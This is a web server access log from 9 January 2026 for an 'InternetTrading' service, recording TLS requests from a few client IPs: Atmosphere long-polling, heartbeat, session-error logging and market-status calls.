[09/Jan/2026:13:36:47 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:36:47 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:36:47 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:36:48 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937275701 HTTP/1.1" -
[09/Jan/2026:13:36:49 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937294187 HTTP/1.1" -
[09/Jan/2026:13:36:50 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937285853 HTTP/1.1" -
[09/Jan/2026:13:36:51 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:36:51 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:36:52 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937281072 HTTP/1.1" -
[09/Jan/2026:13:36:52 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:36:52 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:36:53 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937280762 HTTP/1.1" -
[09/Jan/2026:13:36:55 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937300193 HTTP/1.1" -
[09/Jan/2026:13:36:55 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937290887 HTTP/1.1" -
[09/Jan/2026:13:36:57 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937286235 HTTP/1.1" -
[09/Jan/2026:13:36:58 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937285833 HTTP/1.1" -
[09/Jan/2026:13:37:00 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937295985 HTTP/1.1" -
[09/Jan/2026:13:37:01 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937306194 HTTP/1.1" -
[09/Jan/2026:13:37:01 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:37:01 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:37:01 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:37:01 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:37:02 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937291363 HTTP/1.1" -
[09/Jan/2026:13:37:03 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937290933 HTTP/1.1" -
[09/Jan/2026:13:37:05 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937301056 HTTP/1.1" -
[09/Jan/2026:13:37:07 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937312193 HTTP/1.1" -
[09/Jan/2026:13:37:07 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937296549 HTTP/1.1" -
[09/Jan/2026:13:37:08 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937296020 HTTP/1.1" -
[09/Jan/2026:13:37:10 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937306152 HTTP/1.1" -
[09/Jan/2026:13:37:12 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937301671 HTTP/1.1" -
[09/Jan/2026:13:37:13 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937318187 HTTP/1.1" -
[09/Jan/2026:13:37:13 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937301088 HTTP/1.1" -
[09/Jan/2026:13:37:15 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937311229 HTTP/1.1" -
[09/Jan/2026:13:37:17 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:37:17 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:37:17 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:37:17 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:37:17 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937306815 HTTP/1.1" -
[09/Jan/2026:13:37:18 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937306161 HTTP/1.1" -
[09/Jan/2026:13:37:19 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937324188 HTTP/1.1" -
[09/Jan/2026:13:37:20 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937316332 HTTP/1.1" -
[09/Jan/2026:13:37:21 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:37:21 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:37:22 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:37:22 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:37:23 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937311923 HTTP/1.1" -
[09/Jan/2026:13:37:23 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937311225 HTTP/1.1" -
[09/Jan/2026:13:37:25 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937330190 HTTP/1.1" -
[09/Jan/2026:13:37:25 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937321360 HTTP/1.1" -
[09/Jan/2026:13:37:28 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937317061 HTTP/1.1" -
[09/Jan/2026:13:37:28 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937316268 HTTP/1.1" -
[09/Jan/2026:13:37:31 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937326431 HTTP/1.1" -
[09/Jan/2026:13:37:31 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937336195 HTTP/1.1" -
[09/Jan/2026:13:37:31 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:37:31 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:37:31 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:37:31 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:37:33 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937322200 HTTP/1.1" -
[09/Jan/2026:13:37:33 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937321328 HTTP/1.1" -
[09/Jan/2026:13:37:36 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937331521 HTTP/1.1" -
[09/Jan/2026:13:37:37 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937342188 HTTP/1.1" -
[09/Jan/2026:13:37:38 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:37:38 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:37:38 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:37:38 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:37:38 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937327264 HTTP/1.1" -
[09/Jan/2026:13:37:38 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937326387 HTTP/1.1" -
[09/Jan/2026:13:37:41 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937336599 HTTP/1.1" -
[09/Jan/2026:13:37:43 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937348196 HTTP/1.1" -
[09/Jan/2026:13:37:43 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937332397 HTTP/1.1" -
[09/Jan/2026:13:37:43 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937331473 HTTP/1.1" -
[09/Jan/2026:13:37:46 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937341699 HTTP/1.1" -
[09/Jan/2026:13:37:47 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:37:47 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:37:47 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:37:47 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:37:48 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937337529 HTTP/1.1" -
[09/Jan/2026:13:37:49 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937336544 HTTP/1.1" -
[09/Jan/2026:13:37:49 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937354196 HTTP/1.1" -
[09/Jan/2026:13:37:51 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937346768 HTTP/1.1" -
[09/Jan/2026:13:37:51 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:37:51 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:37:52 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:37:52 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:37:53 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937342673 HTTP/1.1" -
[09/Jan/2026:13:37:54 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937341608 HTTP/1.1" -
[09/Jan/2026:13:37:55 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937360191 HTTP/1.1" -
[09/Jan/2026:13:37:56 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937351805 HTTP/1.1" -
[09/Jan/2026:13:37:59 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937347834 HTTP/1.1" -
[09/Jan/2026:13:37:59 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937346639 HTTP/1.1" -
[09/Jan/2026:13:38:01 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937366199 HTTP/1.1" -
[09/Jan/2026:13:38:01 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937356879 HTTP/1.1" -
[09/Jan/2026:13:38:01 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
